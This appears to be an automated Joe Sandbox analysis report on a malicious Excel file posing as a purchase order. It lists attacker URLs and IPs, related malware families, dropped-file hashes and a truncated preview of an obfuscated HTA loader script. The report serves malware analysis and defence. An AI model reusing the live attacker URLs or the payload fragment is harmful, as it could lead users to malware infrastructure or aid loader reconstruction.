https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	explorer.exe, 00000026.00000003.591178920.0000000000658000.00000004.00000020.00020000.00000000.sdmp, 402E.tmp.38.dr	false		high
https://link.uebie.de/~W~(	mshta.exe, 00000005.00000003.423125156.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.424134255.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.000000000329C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.htau	mshta.exe, 00000005.00000003.421467560.00000000003D7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/favicon.ico	402E.tmp.38.dr	false		high
https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenVw~M	mshta.exe, 00000011.00000003.487524489.000000000014D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486994334.000000000014C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.476368039.000000000014D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	explorer.exe, 00000026.00000003.591178920.0000000000658000.00000004.00000020.00020000.00000000.sdmp, 402E.tmp.38.dr	false		high
http://java.sun.com	explorer.exe, 0000001F.00000000.521354537.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	explorer.exe, 0000001F.00000000.522442081.00000000072E4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000000.521769301.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000000.522082384.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp	false		high
http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.htaC	mshta.exe, 00000011.00000003.476368039.000000000015F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487590703.000000000015F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487807567.0000000003BBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487491030.000000000015F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486994334.000000000015F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://107.172.44.178/53/seemybestnetworkwhichgivebestthingsentirelifewithme.tIF=	powershell.exe, 00000006.00000002.454017233.000000001A8CC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://prolinice.ga/application/x-www-form-urlencodedMozilla/5.0	explorer.exe, 00000026.00000002.601139642.0000000000644000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.piriform.com/ccleaner	explorer.exe, 0000001F.00000000.522442081.00000000072E4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000000.521769301.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000000.522082384.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp	false		high
http://107.172.44.178/53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.htaM	mshta.exe, 00000011.00000003.486994334.000000000014C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.476368039.000000000014D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	explorer.exe, 0000001F.00000000.521354537.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://prolinice.ga/index.phpMozilla/5.0	explorer.exe, 00000026.00000002.601139642.0000000000614000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000027.00000002.573733607.000000000036E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000028.00000002.580498060.00000000002F4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000002A.00000002.624702366.000000000023E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://secure.comodo.com/CPS0	mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BDA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	explorer.exe, 00000026.00000003.591178920.0000000000658000.00000004.00000020.00020000.00000000.sdmp, 402E.tmp.38.dr	false		high
http://crl.entrust.net/2048ca.crl0	mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://link.uebie.de/	mshta.exe, 00000005.00000002.426631892.0000000003230000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487347079.0000000003C56000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487807567.0000000003BBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.482683098.0000000003C56000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	explorer.exe, 00000026.00000003.591178920.0000000000658000.00000004.00000020.00020000.00000000.sdmp, 402E.tmp.38.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.173.214.24	prolinice.ga	Russian Federation	47196	GARANT-PARK-INTERNETRU	true
142.215.209.78	ip.1017.filemail.com	Canada	32156	HUMBER-COLLEGECA	false
5.45.108.48	link.uebie.de	Germany	197540	NETCUP-ASnetcupGmbHDE	false
107.172.44.178	unknown	United States	36352	AS-COLOCROSSINGUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557899
Start date and time:	2024-11-18 18:20:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	47
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Sample name:	#U3010TW-S PO#U3011PO#3311-20241118003.xls renamed because original name is a hash value
Original Sample Name:	TW-S POPO#3311-20241118003.xls
Detection:	MAL
Classification:	mal100.phis.troj.spyw.expl.evad.winXLS@62/54@11/4
EGA Information:	Successful, ratio: 70%
HCA Information:	Successful, ratio: 99% Number of executed functions: 86 Number of non-executed functions: 57
Cookbook Comments:	Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.208.16.93
Excluded domains from analysis (whitelisted): onedsblobprdcus07.centralus.cloudapp.azure.com, watson.microsoft.com, legacywatson.trafficmanager.net
Execution Graph export aborted for target mshta.exe, PID 1264 because there are no executed function
Execution Graph export aborted for target mshta.exe, PID 3544 because there are no executed function
Execution Graph export aborted for target vtjrhji, PID 3728 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: #U3010TW-S PO#U3011PO#3311-20241118003.xls

Simulations

Behavior and APIs

Time	Type	Description
09:22:41	Task Scheduler	Run new task: Firefox Default Browser Agent E441E35BB2CCF9DA path: C:\Users\user\AppData\Roaming\vtjrhji
12:21:30	API Interceptor	119x Sleep call for process: mshta.exe modified
12:21:34	API Interceptor	591x Sleep call for process: powershell.exe modified
12:21:46	API Interceptor	26x Sleep call for process: wscript.exe modified
12:21:50	API Interceptor	82x Sleep call for process: AcroRd32.exe modified
12:22:24	API Interceptor	893x Sleep call for process: explorer.exe modified
12:22:41	API Interceptor	132x Sleep call for process: taskeng.exe modified
12:22:44	API Interceptor	18x Sleep call for process: vtjrhji modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
142.215.209.78	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse
	Order_Summary.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse
	kissmegoodthingwhichgivemebestthignswithgirluaremy.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse
	bestgirlfriendwhowintheheartwithentirelifegivenubestthigns.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot, Strela Stealer	Browse
	Purchase order (1).xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse
	Purchase order (2).xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse
	SAMPLE_PHOTO.js	Get hash	malicious	AgentTesla	Browse
	Document.xla.xlsx	Get hash	malicious	FormBook, HTMLPhisher	Browse
	INQ02010391.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Order_Confirmation.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse
5.45.108.48	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse
	Order_Summary.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse
	Signert kontrakt og faktura.xls	Get hash	malicious	Unknown	Browse
	New order.xls	Get hash	malicious	Unknown	Browse
	Purchase order (1).xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse
	Purchase order (2).xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse
	Signert kontrakt og faktura.xls	Get hash	malicious	Unknown	Browse
	New order.xls	Get hash	malicious	Unknown	Browse
	Signert kontrakt og faktura.xls	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip.1017.filemail.com	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	142.215.209.78
	Order_Summary.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	142.215.209.78
	kissmegoodthingwhichgivemebestthignswithgirluaremy.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	142.215.209.78
	bestgirlfriendwhowintheheartwithentirelifegivenubestthigns.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot, Strela Stealer	Browse	142.215.209.78
	Purchase order (1).xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	142.215.209.78
	Purchase order (2).xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	142.215.209.78
	SAMPLE_PHOTO.js	Get hash	malicious	AgentTesla	Browse	142.215.209.78
	Document.xla.xlsx	Get hash	malicious	FormBook, HTMLPhisher	Browse	142.215.209.78
	INQ02010391.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.215.209.78
	Order_Confirmation.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	142.215.209.78
prolinice.ga	veryeasythingsevermadeforcreatenewthignsbetterthigns.hta	Get hash	malicious	Cobalt Strike, SmokeLoader	Browse	45.91.8.152
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf	Get hash	malicious	SmokeLoader	Browse	185.251.91.119
	40830001.xls	Get hash	malicious	SmokeLoader	Browse	185.251.91.119
	#20240627_Edlen_B.xls	Get hash	malicious	SmokeLoader	Browse	77.232.129.190
	171687721070698e62c2170d003b444ecf0c5f6af81f98e26a56198e118930566be818fe52443.dat-decoded.exe	Get hash	malicious	SmokeLoader	Browse	77.232.129.190
	#20240627_Edlen_A.xls	Get hash	malicious	SmokeLoader	Browse	77.232.129.190
link.uebie.de	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	5.45.108.48
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	5.45.108.48
	Order_Summary.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	5.45.108.48
	Signert kontrakt og faktura.xls	Get hash	malicious	Unknown	Browse	5.45.108.48
	New order.xls	Get hash	malicious	Unknown	Browse	5.45.108.48
	Purchase order (1).xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	5.45.108.48
	Purchase order (2).xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	5.45.108.48
	Signert kontrakt og faktura.xls	Get hash	malicious	Unknown	Browse	5.45.108.48
	New order.xls	Get hash	malicious	Unknown	Browse	5.45.108.48
	Signert kontrakt og faktura.xls	Get hash	malicious	Unknown	Browse	5.45.108.48

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HUMBER-COLLEGECA	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	142.215.209.78
	Order_Summary.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	142.215.209.78
	kissmegoodthingwhichgivemebestthignswithgirluaremy.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	142.215.209.78
	bestgirlfriendwhowintheheartwithentirelifegivenubestthigns.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot, Strela Stealer	Browse	142.215.209.78
	Purchase order (1).xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	142.215.209.78
	Purchase order (2).xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	142.215.209.78
	SAMPLE_PHOTO.js	Get hash	malicious	AgentTesla	Browse	142.215.209.78
	Document.xla.xlsx	Get hash	malicious	FormBook, HTMLPhisher	Browse	142.215.209.78
	INQ02010391.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.215.209.78
	Order_Confirmation.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	142.215.209.78
GARANT-PARK-INTERNETRU	0HUxKfIvSV.exe	Get hash	malicious	Clipboard Hijacker	Browse	46.173.214.92
	0HUxKfIvSV.exe	Get hash	malicious	Clipboard Hijacker	Browse	46.173.214.92
	9xNI7vE1XO.exe	Get hash	malicious	Clipboard Hijacker	Browse	46.173.214.92
	9xNI7vE1XO.exe	Get hash	malicious	Clipboard Hijacker	Browse	46.173.214.92
	bacon.exe	Get hash	malicious	CobaltStrike	Browse	46.173.214.102
	UfRKIdsNvD.exe	Get hash	malicious	Clipboard Hijacker	Browse	46.173.214.92
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc, Vidar	Browse	46.173.214.86
	Lisect_AVT_24003_G1B_122.exe	Get hash	malicious	Unknown	Browse	46.173.211.166
	OYSVIdqcxa.exe	Get hash	malicious	Glupteba, LummaC Stealer, RedLine, SmokeLoader, zgRAT	Browse	91.203.193.134
	hmxXVdsB8n.exe	Get hash	malicious	Tofsee	Browse	46.173.215.52
NETCUP-ASnetcupGmbHDE	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	5.45.108.48
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	5.45.108.48
	Order_Summary.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	5.45.108.48
	ickTGSF56D.exe	Get hash	malicious	Unknown	Browse	37.120.186.122
	63w24wNW0d.exe	Get hash	malicious	Unknown	Browse	152.89.107.62
	XzCRLowRXn.exe	Get hash	malicious	Unknown	Browse	46.232.250.51
	Signert kontrakt og faktura.xls	Get hash	malicious	Unknown	Browse	5.45.108.48
	New order.xls	Get hash	malicious	Unknown	Browse	5.45.108.48
	Purchase order (1).xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	5.45.108.48
	Purchase order (2).xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	5.45.108.48
AS-COLOCROSSINGUS	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	192.3.243.136
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	192.3.243.136
	seethebestthingswhichhappenedentiretimewithgreattimebacktohere.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	192.227.228.36
	FRSSDE.exe	Get hash	malicious	Remcos	Browse	192.227.228.36
	Order_Summary.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	192.227.228.36
	kissmegoodthingwhichgivemebestthignswithgirluaremy.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot	Browse	192.3.243.136
	bestgirlfriendwhowintheheartwithentirelifegivenubestthigns.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Lokibot, Strela Stealer	Browse	192.3.243.136
	Signert kontrakt og faktura.xls	Get hash	malicious	Unknown	Browse	107.173.4.61
	New order.xls	Get hash	malicious	Unknown	Browse	192.3.220.29
	Purchase order (1).xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	192.3.243.136

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	Order_Summary.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	142.215.209.78
	INV-#000497053.doc	Get hash	malicious	Unknown	Browse	142.215.209.78
	Purchase order (1).xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	142.215.209.78
	Purchase order (2).xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	142.215.209.78
	Document.xla.xlsx	Get hash	malicious	FormBook, HTMLPhisher	Browse	142.215.209.78
	http://xoilacxd.cc	Get hash	malicious	Unknown	Browse	142.215.209.78
	Order_Confirmation.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	142.215.209.78
	Po docs.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	142.215.209.78
	Bank Swift Copy 2.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.215.209.78
	blhbZrtqbLg6O1K.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.215.209.78
7dcce5b76c8b17472d024758970a406b	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	5.45.108.48
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	5.45.108.48
	Order_Summary.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	5.45.108.48
	Signert kontrakt og faktura.xls	Get hash	malicious	Unknown	Browse	5.45.108.48
	New order.xls	Get hash	malicious	Unknown	Browse	5.45.108.48
	Purchase order (1).xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	5.45.108.48
	Purchase order (2).xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	5.45.108.48
	Signert kontrakt og faktura.xls	Get hash	malicious	Unknown	Browse	5.45.108.48
	New order.xls	Get hash	malicious	Unknown	Browse	5.45.108.48
	purchase order (2).xls	Get hash	malicious	Unknown	Browse	5.45.108.48

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\vtjrhji	Ldegwikhzs.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.W32.MSIL_Agent.GJP.gen.Eldorado.13778.95.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.W32.MSIL_Agent.GIL.gen.Eldorado.20044.1173.exe	Get hash	malicious	AgentTesla	Browse
	P.O_2023-0394.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.W32.MSIL_Kryptik.JML.gen.Eldorado.26148.25502.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.Trojan.Mardom.MN.9.13268.1323.exe	Get hash	malicious	AgentTesla	Browse
	INVOICE_23DF-48609002.exe	Get hash	malicious	AgentTesla	Browse
	SHIPPING_DOCUMENT.exe	Get hash	malicious	AgentTesla	Browse
	Shipping_documents_SST2112-250.exe	Get hash	malicious	AgentTesla	Browse
	SecuriteInfo.com.W32.MSIL_Agent.GIL.gen.Eldorado.30277.9800.exe	Get hash	malicious	AgentTesla	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4742
Entropy (8bit):	4.8105940880640246
Encrypted:	false
SSDEEP:	96:mCJ2Woe5Sgyg12jDs+un/iQLEYFjDaeWJ6KGcmXuFRLcU6/KI2k6Lm5emmXIG:Jxoe5+gkjDt4iWN3yBGH+dcU6CIVsm5D
MD5:	278C40A9A3B321CA9147FFBC6BE3A8A8
SHA1:	D795FC7D3249F9D924DC951DA1DB900D02496D73
SHA-256:	4EB0EAE13C3C67789AD8940555F31548A66F5031BF1A804E26EA6E303515259E
SHA-512:	E7222B41A436CE0BF8FA3D8E5EB8249D4D3985419D0F901F535375789F001B5929EF9B85C1D6802F0FBD5F722A52CB27021F87D076E69D92F46C7C3E894C6F00
Malicious:	false
Preview:	PSMODULECACHE.....8.......S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script............7...q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1m.......Remove-Variable........Convert-String........Trace-Command........Sort-Object........Register-Object

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat[1].hta

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	HTML document, ASCII text, with very long lines (65536), with no line terminators
Category:	modified
Size (bytes):	182569
Entropy (8bit):	2.3478224513716413
Encrypted:	false
SSDEEP:	48:4vahW5oZz7eWLB2ZfywyQhhY1ywyQbD6ngS5RJCS0d399Dd5nCYmIYZAjo3ueufc:4vCl17ZtQjtQhVFlfnnCO4AjovtQX5Q
MD5:	05DCFFE1D8E8E209A90B522192AD8000
SHA1:	77C19B392D39BCE4906B5C4E5F1AB0A0C9182DC7
SHA-256:	35717C891450767AF251EC90A7C05FFD407D7B2D2897D96C176C51B5B8A156B5
SHA-512:	11EAFD5F126BB4873EC7BE1DC6FE7246F3DE8324C413073BC914827695ED1DB1BB9B6E870414C0D4ABA990A6A817D6C029F7AA02E5061434DCDB965A378B5734
Malicious:	true
Yara Hits:	Rule: JoeSecurity_HtmlPhish_44, Description: Yara detected HtmlPhish_44, Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat[1].hta, Author: Joe Security
Preview:	<script language=JavaScript>m='%3Cscript%3E%0A%3C%21--%0Adocument.write%28unescape%28%22%253Cscript%253E%250A%253C%2521--%250Adocument.write%2528unescape%2528%2522%25253Cscript%25253E%25250A%25253C%252521--%25250Adocument.write%252528unescape%252528%252522%2525253C%25252521DOCTYPE%25252520html%2525253E%2525250A%2525253Cmeta%25252520http-equiv%2525253D%25252522X-UA-Compatible%25252522%25252520content%2525253D%25252522IE%2525253DEmulateIE8%25252522%25252520%2525253E%2525250A%2525253Chtml%2525253E%2525250A%2525253Cbody%2525253E%2525250A%2525253CsCRipt%25252520TYPE%2525253D%25252522TExt/vbsCrIpt%25252522%2525253E%2525250AdIM%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25252509%25

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\seemybestnetworkwhichgivebestthingsentirelifewithme[1].tiff

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (377), with CRLF line terminators
Category:	dropped
Size (bytes):	141308
Entropy (8bit):	3.677460277464518
Encrypted:	false
SSDEEP:	1536:DBkSUTu5S/BV4Mf8mOZG3WVGwB7xW9xjqGuvcQ6T0+gt5pzBGwm:mSU/B2e8muG3WQwNjG4cQ6TZgt5p9Gwm
MD5:	855D024750A1BC1BC078E60C05E506E3
SHA1:	480C344EF4E060ADB7CA7E159C815CB38AC87614
SHA-256:	560327E8E4C818547FE966C8704D97270986B7457D62A154219E81ED4AFB4667
SHA-512:	64A68DD3C8750E7A90C95078DC1DB87086C546212B56348E6D45F4444B5DD7E6725F3B5DDBC2C414D08A7DF2FBF2EECD11B9AB414588AC7B66F57F70FBB85C94
Malicious:	false
